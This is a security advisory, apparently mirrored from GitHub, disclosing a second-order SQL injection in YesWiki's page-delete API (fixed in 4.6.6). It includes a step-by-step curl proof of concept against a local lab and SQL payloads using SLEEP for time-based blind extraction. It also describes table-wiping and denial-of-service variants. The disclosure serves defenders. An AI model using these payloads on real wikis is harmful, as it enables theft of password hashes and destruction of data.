GHSA-8F2V-2QHJ-GFWG
Vulnerability from github – Published: 2026-07-09 21:00 – Updated: 2026-07-09 21:00Summary
ApiController::deletePage() interpolates a page tag retrieved from the database into a DELETE FROM …_links WHERE to_tag = '$tag' query without escaping. The page tag is attacker-controlled — the POST /api/pages/{tag} API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard {{include page="…"}} link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.
This is a classic second-order SQL injection: the INSERT correctly escapes the value, so the malicious tag is stored intact and the input passes every "is this value safe to put in the database?" check; the sink is the read-back-and-reuse path, where escaping is omitted.
Details
Affected component
- File:
includes/controllers/ApiController.php - Method:
ApiController::deletePage($tag) - Route:
@Route("/api/pages/{tag}", methods={"DELETE"}, options={"acl":{"+"}})—acl:"+"means any authenticated user. - Sink: line 626
// includes/controllers/ApiController.php (v4.6.5 = origin/doryphore-dev HEAD,
// lines 607–631)
public function deletePage($tag)
{
$pageManager = $this->getService(PageManager::class);
$pageController = $this->getService(PageController::class);
$dbService = $this->getService(DbService::class);
...
try {
$page = $pageManager->getOne($tag, null, false); // (a) safe SELECT
if (empty($page)) { ... } else {
$tag = isset($page['tag']) ? $page['tag'] : $tag;// ^ raw tag from DB
$result['notDeleted'] = [$tag];
if ($this->wiki->UserIsOwner($tag) || $this->wiki->UserIsAdmin()) {
if (!$pageManager->isOrphaned($tag)) {
$dbService->query(
"DELETE FROM {$dbService->prefixTable('links')}
WHERE to_tag = '$tag'"); // (b) SINK — unescaped
}
...
The same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:
tools/tags/handlers/page/__deletepage.phpline 14 -DELETE … WHERE to_tag = '$tag', where$tag = $this->GetPageTag()is again the raw stored tag.handlers/page/deletepage.phplines 93–94 -LoadAll('SELECT DISTINCT from_tag FROM …links WHERE to_tag = '" . $this->GetPageTag() . "'"), same pattern as a SELECT instead of a DELETE.
The API path is the easiest sink to reach because it requires only acl:"+" and a single HTTP request; the other two require a logged-in user to navigate to the page's delete handler
A low-privilege account can carry the whole chain:
- Plant —
POST /api/pages/{evil}with body=anything.PageManager::save()escapes the tag at INSERT time ('\''in SQL ⇒ stored'), so the tag persists with its single quote intact. The new page is owned by the attacker, soUserIsOwner($tag)in the delete handler will return true. - Make non-orphaned — save any second page whose body contains
{{include page="<evil>"}}through the web edit handler.LinkTracker::preventTrackingActions()parses the include directive, looks up the referenced page (PageManager::getOne()finds it because lookup usesescape(), which matches the stored quote), andLinkTracker::persist()inserts a row(from_tag='Linker', to_tag='<evil>')into_links— again withescape()on the way in, so the raw quote round-trips. - Trigger —
DELETE /api/pages/{evil}. The delete handler reads the page (escaped SELECT, finds the row), assigns$tag = $page['tag'](the raw stored value, including'), runsisOrphaned($tag)(escaped SELECT, returns not orphaned because step 2 inserted a row), and then runs the unescapedDELETE FROM …_links WHERE to_tag = '$tag'. The SQL parser sees the attacker-controlled'as the end of the string literal; everything after it is treated as SQL.
The injection point is WHERE to_tag = '<here>' — any payload of the form <anything>' <SQL>-- works. With time-based primitives (SLEEP), the attacker reads any byte of any row of any table the wiki account can see.
End to End Steps to reproduce the issue
- Preflight
- lab is up at http://localhost:8085
- Logging in
- admin 'WikiAdmin' and low-priv 'TestUser01' both logged in
- Tier 1 - POST /api/pages/ (as TestUser01)
- PROOF: tag stored RAW in yeswiki_pages → 'SleepTag' OR SLEEP(2)-- '
- Tier 2 - make the evil page non-orphaned
- PROOF: yeswiki_links row → LinkPoc->SleepTag' OR SLEEP(2)--
- Tier 2 - DELETE /api/pages/ (as TestUser01)
- baseline (non-existent tag) : 0.468s
- exploit (SLEEP(2) in tag) : 2.555s
- delta : 2.087s
- PROOF : Δ ≥ 1.5 s → SLEEP(2) ran inside the DELETE on L626
- Tier 3 - time-based blind data exfiltration
- char='w' elapsed=0.505s miss
- char='x' elapsed=0.495s miss
- char='y' elapsed=3.522s <- HIT
- char='z' elapsed=0.662s miss
- PROOF : conditional SLEEP fired only for 'y'
RESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED.
PoC
Pre Reqs
Had the following things setup in advance:
- Yeswiki v4.6.5 lab image (Setup via podman)
- Admin & User Account setup.
Parts used across PoC:
- Site responding at
http://localhost:8085 - Admin account:
WikiAdmin / AdminPoc12345 - Low-priv account:
TestUser01 / TestPass12345(this is the attacker)
For the rest of this document, set:
BASE="http://localhost:8085"
CTR="yeswiki-poc"
PREFIX="yeswiki_"
CJ=/tmp/yw_user.txt # cookie jar for our low-priv attacker
Confirm the vulnerable line is actually there:
podman exec "$CTR" \
grep -n "DELETE FROM.*links.*WHERE to_tag" \
/var/www/html/includes/controllers/ApiController.php
Expected output:
626: $dbService->query("DELETE FROM {$dbService->prefixTable('links')} WHERE to_tag = '$tag'");
Log in as the low-privilege attacker. We will get the session in return
rm -f "$CJ"
curl -s -c "$CJ" -o /dev/null "${BASE}/?LoginPoc" \
--data-urlencode "action=login" --data-urlencode "context=LoginPoc" \
--data-urlencode "name=TestUser01" --data-urlencode "password=TestPass12345" \
--data-urlencode "remember=1"
# Verify the session is logged in:
SID=$(grep -oE 'YesWiki-main[[:space:]]+[a-f0-9]+' "$CJ" | awk '{print $2}')
podman exec -u root "$CTR" grep '^user|' "/tmp/sess_${SID}"
Plant a page whose tag contains SQL meta-characters.
The Symfony route accepts the default [^/]+ regex for {tag}, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the stored byte string still contains the literal '. That is the seed of the second-order bug.
EVIL_TAG="SleepTag' OR SLEEP(2)-- "
EVIL_ENC=$(printf '%s' "$EVIL_TAG" | \
podman exec -i "$CTR" php -r 'echo rawurlencode(file_get_contents("php://stdin"));')
echo "raw tag : $EVIL_TAG"
echo "URL-encoded : $EVIL_ENC"
curl -s -b "$CJ" -X POST "${BASE}/?api/pages/${EVIL_ENC}" \
--data-urlencode "body=poc"
- The API accepted a tag with a literal
'and SQL keywords, completely unsanitized. - The single quote round-tripped through
PageManager::save()'sescape()and is now sitting in the database byte-for-byte asSleepTag' OR SLEEP(2)--— exactly what an attacker needs the read-back to return. TestUser01is the owner, so the eventualUserIsOwner($tag)check in the delete handler will pass for them.
Now, create a second page that will link to the evil page
The sink at L626 is gated by if (!$pageManager->isOrphaned($tag)). To pass it, the evil tag has to appear as a to_tag somewhere in the _links table. The cleanest way is the legitimate {{include page="…"}} mechanism: a page whose body references the evil tag will register a link.
First, create the placeholder linker via the API (no link tracking on this path - that fires from the web editor):
curl -s -b "$CJ" -X POST "${BASE}/?api/pages/LinkPoc" \
--data-urlencode "body=placeholder"
# Grab its id — we'll need it for the edit form's hidden "previous" field
LINKID=$(podman exec "$CTR" mysql -uroot yeswiki -N -e \
"SELECT id FROM ${PREFIX}pages WHERE tag='LinkPoc' AND latest='Y';")
echo "LinkPoc id = $LINKID"
Make the evil page non-orphaned (web edit handler)
Submit a web-editor save with body {{include page="<evil tag>"}}. The pre-handler tools/security/handlers/page/__edit.php would normally require a hashcash token, but env/install.sh disables use_hashcash so this works without one. Hashcash is irrelevant to the SQLi sink itself; production deployments that leave it enabled are still vulnerable, just slightly more involved to trigger.
NEW_BODY='{{include page="SleepTag'"'"' OR SLEEP(2)-- "}} rev-1'
curl -sL -b "$CJ" -X POST "${BASE}/?LinkPoc/edit" \
--data-urlencode "submit=Sauver" \
--data-urlencode "previous=${LINKID}" \
--data-urlencode "body=${NEW_BODY}"
- The web edit handler called
LinkTracker::registerLinks($page, false, false)(handlers/page/edit.php:69). registerLinks()formatted the page body and reachedpreventTrackingActions()(includes/services/LinkTracker.php:160).- That regex extracted
SleepTag' OR SLEEP(2)--from{{include page="…"}}, calledPageManager::getOne(<extracted>)which found the page (lookup usesescape(), so a stored'still matches), and called$this->add($page['tag']). LinkTracker::persist()then inserted(from_tag='LinkPoc', to_tag='<evil tag, raw quote>')into_links.
Proves: the second-order data has now been planted on both sides of the join the vulnerable DELETE query touches.
We need a control measurement before the actual SQLi, so the delta is unambiguous. Delete a tag we know doesn't exist:
T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/NonExistent99" -o /dev/null
T1=$(date +%s.%N)
awk "BEGIN{printf \"baseline elapsed: %.3fs\n\", $T1-$T0}"
Expected output: baseline elapsed: ~0.3–0.7 s (one-shot HTTP round-trip + a fast SELECT … WHERE tag = …). Record this number.
Trigger the SQLi (Tier 2 - the actual vulnerability fires)
Issue a DELETE /api/pages/<evil tag>. The handler reads the page back from the DB, sees the row, takes $tag = $page['tag'] (the raw stored value, still containing '), checks isOrphaned() (returns not orphaned because step 5 inserted a row), and runs the unescaped DELETE on L626. With our tag, that becomes:
DELETE FROM yeswiki_links WHERE to_tag = 'SleepTag' OR SLEEP(2)-- '
^^^ ^^^^^^^^^^^^^^^^
| injected SQL
breakout
SLEEP(2) runs once per row scanned. We seeded one row, so the call should hang ~2 s before responding.
T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/${EVIL_ENC}" -o /tmp/yw_del.json
T1=$(date +%s.%N)
awk "BEGIN{printf \"exploit elapsed: %.3fs\n\", $T1-$T0}"
echo "--- response ---"
cat /tmp/yw_del.json; echo
Expected output (the precise timing varies by host, but the delta relative to step 6 is what matters):
exploit elapsed: 2.555s
--- response ---
{"deleted":["SleepTag' OR SLEEP(2)-- "]}
Impact
- Blind extraction of any column the wiki database account can read: user password hashes (
_users.password), email addresses, ACLs (_acls.list), private page bodies (_pages.body), database session data, etc. - The sink is a
DELETE; an attacker can appendOR 1=1--to wipe the entire_linkstable, breaking inter-page navigation site-wide. The path can also be combined withUNION-style techniques to read into an error if the DBMS surfaces them (most YesWiki setups suppress errors, hence time-based blind is the realistic primary primitive). SLEEP()per row scales with link-table size; a malicious tag withSLEEP(60)on a wiki with N links will hang one connection for ~60 N seconds, easily exhausting the MariaDB worker pool._users.passwordhashes are bcrypt; offline cracking of weaker passwords yields admin sessions. The bug therefore acts as a low-priv → admin primitive, and chains with the bazar deserialization bug (separate advisory) as low-priv → admin → object injection / future RCE
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0"
},
{
"fixed": "4.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52771"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T21:00:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n`ApiController::deletePage()` interpolates a page tag retrieved from the database into a `DELETE FROM \u2026_links WHERE to_tag = \u0027$tag\u0027` query without escaping. The page tag is attacker-controlled \u2014 the `POST /api/pages/{tag}` API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard `{{include page=\"\u2026\"}}` link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.\n\nThis is a **classic second-order SQL injection**: the `INSERT` correctly escapes the value, so the malicious tag is stored intact and the input passes every \"is this value safe to put in the database?\" check; the sink is the *read-back-and-reuse* path, where escaping is omitted.\n\n## Details\n### Affected component\n\n* **File:** `includes/controllers/ApiController.php`\n* **Method:** `ApiController::deletePage($tag)`\n* **Route:** `@Route(\"/api/pages/{tag}\", methods={\"DELETE\"}, options={\"acl\":{\"+\"}})` \u2014 `acl:\"+\"` means *any authenticated user*.\n* **Sink:** line 626\n\n```php\n// includes/controllers/ApiController.php (v4.6.5 = origin/doryphore-dev HEAD,\n// lines 607\u2013631)\npublic function deletePage($tag)\n{\n $pageManager = $this-\u003egetService(PageManager::class);\n $pageController = $this-\u003egetService(PageController::class);\n $dbService = $this-\u003egetService(DbService::class);\n ...\n try {\n $page = $pageManager-\u003egetOne($tag, null, false); // (a) safe SELECT\n if (empty($page)) { ... } else {\n $tag = isset($page[\u0027tag\u0027]) ? $page[\u0027tag\u0027] : $tag;// ^ raw tag from DB\n $result[\u0027notDeleted\u0027] = [$tag];\n if ($this-\u003ewiki-\u003eUserIsOwner($tag) || $this-\u003ewiki-\u003eUserIsAdmin()) {\n if (!$pageManager-\u003eisOrphaned($tag)) {\n $dbService-\u003equery(\n \"DELETE FROM {$dbService-\u003eprefixTable(\u0027links\u0027)}\n WHERE to_tag = \u0027$tag\u0027\"); // (b) SINK \u2014 unescaped\n }\n ...\n```\n\nThe same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:\n\n* `tools/tags/handlers/page/__deletepage.php` line 14 - `DELETE \u2026 WHERE to_tag = \u0027$tag\u0027`, where `$tag = $this-\u003eGetPageTag()` is again the raw stored tag.\n* `handlers/page/deletepage.php` lines 93\u201394 - `LoadAll(\u0027SELECT DISTINCT from_tag FROM \u2026links WHERE to_tag = \u0027\" . $this-\u003eGetPageTag() . \"\u0027\")`, same pattern as a SELECT instead of a DELETE.\n\nThe API path is the easiest sink to reach because it requires only `acl:\"+\"` and a single HTTP request; the other two require a logged-in user to navigate to the page\u0027s delete handler\n\nA low-privilege account can carry the whole chain:\n\n1. **Plant** \u2014 `POST /api/pages/{evil}` with body=anything. `PageManager::save()` escapes the tag at INSERT time (`\u0027\\\u0027\u0027` in SQL \u21d2 stored `\u0027`), so the tag persists with its single quote intact. The new page is owned by the attacker, so `UserIsOwner($tag)` in the delete handler will return true.\n2. **Make non-orphaned** \u2014 save *any* second page whose body contains `{{include page=\"\u003cevil\u003e\"}}` through the web edit handler. `LinkTracker::preventTrackingActions()` parses the include directive, looks up the referenced page (`PageManager::getOne()` finds it because lookup uses `escape()`, which matches the stored quote), and `LinkTracker::persist()` inserts a row `(from_tag=\u0027Linker\u0027, to_tag=\u0027\u003cevil\u003e\u0027)` into `_links` \u2014 again with `escape()` on the way in, so the raw quote round-trips.\n3. **Trigger** \u2014 `DELETE /api/pages/{evil}`. The delete handler reads the page (escaped SELECT, finds the row), assigns `$tag = $page[\u0027tag\u0027]` (the raw stored value, including `\u0027`), runs `isOrphaned($tag)` (escaped SELECT, returns *not* orphaned because step 2 inserted a row), and then runs the **unescaped** `DELETE FROM \u2026_links WHERE to_tag = \u0027$tag\u0027`. The SQL parser sees the attacker-controlled `\u0027` as the end of the string literal; everything after it is treated as SQL.\n\nThe injection point is `WHERE to_tag = \u0027\u003chere\u003e\u0027` \u2014 any payload of the form `\u003canything\u003e\u0027 \u003cSQL\u003e-- ` works. With time-based primitives (`SLEEP`), the attacker reads any byte of any row of any table the wiki account can see.\n\n### End to End Steps to reproduce the issue\n\n1. Preflight\n * lab is up at http://localhost:8085\n2. Logging in\n * admin \u0027WikiAdmin\u0027 and low-priv \u0027TestUser01\u0027 both logged in\n3. Tier 1 - POST /api/pages/\u003cevil-tag\u003e (as TestUser01)\n * PROOF: tag stored RAW in yeswiki_pages \u2192 \u0027SleepTag\u0027 OR SLEEP(2)-- \u0027\n4. Tier 2 - make the evil page non-orphaned\n * PROOF: yeswiki_links row \u2192 LinkPoc-\u003eSleepTag\u0027 OR SLEEP(2)--\n5. Tier 2 - DELETE /api/pages/\u003cevil-tag\u003e (as TestUser01)\n * baseline (non-existent tag) : 0.468s\n * exploit (SLEEP(2) in tag) : 2.555s\n * delta : 2.087s\n * PROOF : \u0394 \u2265 1.5 s \u2192 SLEEP(2) ran inside the DELETE on L626\n6. Tier 3 - time-based blind data exfiltration\n * char=\u0027w\u0027 elapsed=0.505s miss\n * char=\u0027x\u0027 elapsed=0.495s miss\n * char=\u0027y\u0027 elapsed=3.522s \u003c- HIT\n * char=\u0027z\u0027 elapsed=0.662s miss\n * PROOF : conditional SLEEP fired only for \u0027y\u0027\n\nRESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED.\n\n## PoC\n### Pre Reqs\n\nHad the following things setup in advance: \n\n1. Yeswiki v4.6.5 lab image (Setup via podman)\n3. Admin \u0026 User Account setup. \n\nParts used across PoC:\n\n* Site responding at `http://localhost:8085`\n* Admin account: `WikiAdmin / AdminPoc12345`\n* Low-priv account: `TestUser01 / TestPass12345` *(this is the attacker)*\n\nFor the rest of this document, set:\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\nPREFIX=\"yeswiki_\"\nCJ=/tmp/yw_user.txt # cookie jar for our low-priv attacker\n```\n\nConfirm the vulnerable line is actually there: \n```bash\npodman exec \"$CTR\" \\\n grep -n \"DELETE FROM.*links.*WHERE to_tag\" \\\n /var/www/html/includes/controllers/ApiController.php\n```\n\n**Expected output:**\n```\n626: $dbService-\u003equery(\"DELETE FROM {$dbService-\u003eprefixTable(\u0027links\u0027)} WHERE to_tag = \u0027$tag\u0027\");\n```\n\nLog in as the low-privilege attacker. We will get the session in return\n```bash\nrm -f \"$CJ\"\ncurl -s -c \"$CJ\" -o /dev/null \"${BASE}/?LoginPoc\" \\\n --data-urlencode \"action=login\" --data-urlencode \"context=LoginPoc\" \\\n --data-urlencode \"name=TestUser01\" --data-urlencode \"password=TestPass12345\" \\\n --data-urlencode \"remember=1\"\n\n# Verify the session is logged in:\nSID=$(grep -oE \u0027YesWiki-main[[:space:]]+[a-f0-9]+\u0027 \"$CJ\" | awk \u0027{print $2}\u0027)\npodman exec -u root \"$CTR\" grep \u0027^user|\u0027 \"/tmp/sess_${SID}\"\n```\n\nPlant a page whose **tag** contains SQL meta-characters.\n\nThe Symfony route accepts the default `[^/]+` regex for `{tag}`, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the **stored** byte string still contains the literal `\u0027`. That is the seed of the second-order bug.\n\n```bash\nEVIL_TAG=\"SleepTag\u0027 OR SLEEP(2)-- \"\nEVIL_ENC=$(printf \u0027%s\u0027 \"$EVIL_TAG\" | \\\n podman exec -i \"$CTR\" php -r \u0027echo rawurlencode(file_get_contents(\"php://stdin\"));\u0027)\n\necho \"raw tag : $EVIL_TAG\"\necho \"URL-encoded : $EVIL_ENC\"\n\ncurl -s -b \"$CJ\" -X POST \"${BASE}/?api/pages/${EVIL_ENC}\" \\\n --data-urlencode \"body=poc\"\n```\n\n* The API accepted a tag with a literal `\u0027` and SQL keywords, completely unsanitized.\n* The single quote round-tripped through `PageManager::save()`\u0027s `escape()` and is now sitting in the database byte-for-byte as `SleepTag\u0027 OR SLEEP(2)-- ` \u2014 exactly what an attacker needs the read-back to return.\n* `TestUser01` is the owner, so the eventual `UserIsOwner($tag)` check in the delete handler will pass for them.\n\nNow, create a second page that will link to the evil page\n\nThe sink at L626 is gated by `if (!$pageManager-\u003eisOrphaned($tag))`. To pass it, the evil tag has to appear as a `to_tag` somewhere in the `_links` table. The cleanest way is the legitimate `{{include page=\"\u2026\"}}` mechanism: a page whose body references the evil tag will register a link.\n\nFirst, create the placeholder linker via the API (no link tracking on this path - that fires from the web editor):\n\n```bash\ncurl -s -b \"$CJ\" -X POST \"${BASE}/?api/pages/LinkPoc\" \\\n --data-urlencode \"body=placeholder\"\n\n# Grab its id \u2014 we\u0027ll need it for the edit form\u0027s hidden \"previous\" field\nLINKID=$(podman exec \"$CTR\" mysql -uroot yeswiki -N -e \\\n \"SELECT id FROM ${PREFIX}pages WHERE tag=\u0027LinkPoc\u0027 AND latest=\u0027Y\u0027;\")\necho \"LinkPoc id = $LINKID\"\n```\n\nMake the evil page non-orphaned (web edit handler)\n\nSubmit a web-editor save with body `{{include page=\"\u003cevil tag\u003e\"}}`. The pre-handler `tools/security/handlers/page/__edit.php` would normally require a hashcash token, but `env/install.sh` disables `use_hashcash` so this works without one. Hashcash is irrelevant to the SQLi sink itself; production deployments that leave it enabled are still vulnerable, just slightly more involved to trigger.\n\n```bash\nNEW_BODY=\u0027{{include page=\"SleepTag\u0027\"\u0027\"\u0027 OR SLEEP(2)-- \"}} rev-1\u0027\n\ncurl -sL -b \"$CJ\" -X POST \"${BASE}/?LinkPoc/edit\" \\\n --data-urlencode \"submit=Sauver\" \\\n --data-urlencode \"previous=${LINKID}\" \\\n --data-urlencode \"body=${NEW_BODY}\"\n```\n\n* The web edit handler called `LinkTracker::registerLinks($page, false, false)` (handlers/page/edit.php:69).\n* `registerLinks()` formatted the page body and reached `preventTrackingActions()` (includes/services/LinkTracker.php:160).\n* That regex extracted `SleepTag\u0027 OR SLEEP(2)-- ` from `{{include page=\"\u2026\"}}`, called `PageManager::getOne(\u003cextracted\u003e)` which found the page (lookup uses `escape()`, so a stored `\u0027` still matches), and called `$this-\u003eadd($page[\u0027tag\u0027])`.\n* `LinkTracker::persist()` then inserted `(from_tag=\u0027LinkPoc\u0027, to_tag=\u0027\u003cevil tag, raw quote\u003e\u0027)` into `_links`.\n\n**Proves:** the second-order data has now been planted on **both** sides of the join the vulnerable DELETE query touches.\n\nWe need a control measurement before the actual SQLi, so the delta is unambiguous. Delete a tag we know doesn\u0027t exist:\n\n```bash\nT0=$(date +%s.%N)\ncurl -s -b \"$CJ\" -X DELETE \"${BASE}/?api/pages/NonExistent99\" -o /dev/null\nT1=$(date +%s.%N)\nawk \"BEGIN{printf \\\"baseline elapsed: %.3fs\\n\\\", $T1-$T0}\"\n```\n\n**Expected output:** baseline elapsed: ~0.3\u20130.7 s (one-shot HTTP round-trip + a fast `SELECT \u2026 WHERE tag = \u2026`). Record this number.\n\nTrigger the SQLi (Tier 2 - the actual vulnerability fires)\n\nIssue a `DELETE /api/pages/\u003cevil tag\u003e`. The handler reads the page back from the DB, sees the row, takes `$tag = $page[\u0027tag\u0027]` (the **raw** stored value, still containing `\u0027`), checks `isOrphaned()` (returns *not* orphaned because step 5 inserted a row), and runs the **unescaped** DELETE on L626. With our tag, that becomes:\n\n```sql\nDELETE FROM yeswiki_links WHERE to_tag = \u0027SleepTag\u0027 OR SLEEP(2)-- \u0027\n ^^^ ^^^^^^^^^^^^^^^^\n | injected SQL\n breakout\n```\n\n`SLEEP(2)` runs once per row scanned. We seeded one row, so the call should hang ~2 s before responding.\n\n```bash\nT0=$(date +%s.%N)\ncurl -s -b \"$CJ\" -X DELETE \"${BASE}/?api/pages/${EVIL_ENC}\" -o /tmp/yw_del.json\nT1=$(date +%s.%N)\nawk \"BEGIN{printf \\\"exploit elapsed: %.3fs\\n\\\", $T1-$T0}\"\n\necho \"--- response ---\"\ncat /tmp/yw_del.json; echo\n```\n\n**Expected output (the precise timing varies by host, but the *delta* relative to step 6 is what matters):**\n\n```\nexploit elapsed: 2.555s\n--- response ---\n{\"deleted\":[\"SleepTag\u0027 OR SLEEP(2)-- \"]}\n```\n\n## Impact\n* Blind extraction of any column the wiki database account can read: user password hashes (`_users.password`), email addresses, ACLs (`_acls.list`), private page bodies (`_pages.body`), database session data, etc.\n* The sink is a `DELETE`; an attacker can append `OR 1=1-- ` to wipe the entire `_links` table, breaking inter-page navigation site-wide. The path can also be combined with `UNION`-style techniques to read into an error if the DBMS surfaces them (most YesWiki setups suppress errors, hence time-based blind is the realistic primary primitive).\n* `SLEEP()` per row scales with link-table size; a malicious tag with `SLEEP(60)` on a wiki with N links will hang one connection for ~60 N seconds, easily exhausting the MariaDB worker pool.\n* `_users.password` hashes are bcrypt; offline cracking of weaker passwords yields admin sessions. The bug therefore acts as a **low-priv \u2192 admin** primitive, and chains with the bazar deserialization bug (separate advisory) as **low-priv \u2192 admin \u2192 object injection / future RCE**",
"id": "GHSA-8f2v-2qhj-gfwg",
"modified": "2026-07-09T21:00:14Z",
"published": "2026-07-09T21:00:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-8f2v-2qhj-gfwg"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/commit/23d3cc124613b9428ab963b31807c08879a9c631"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.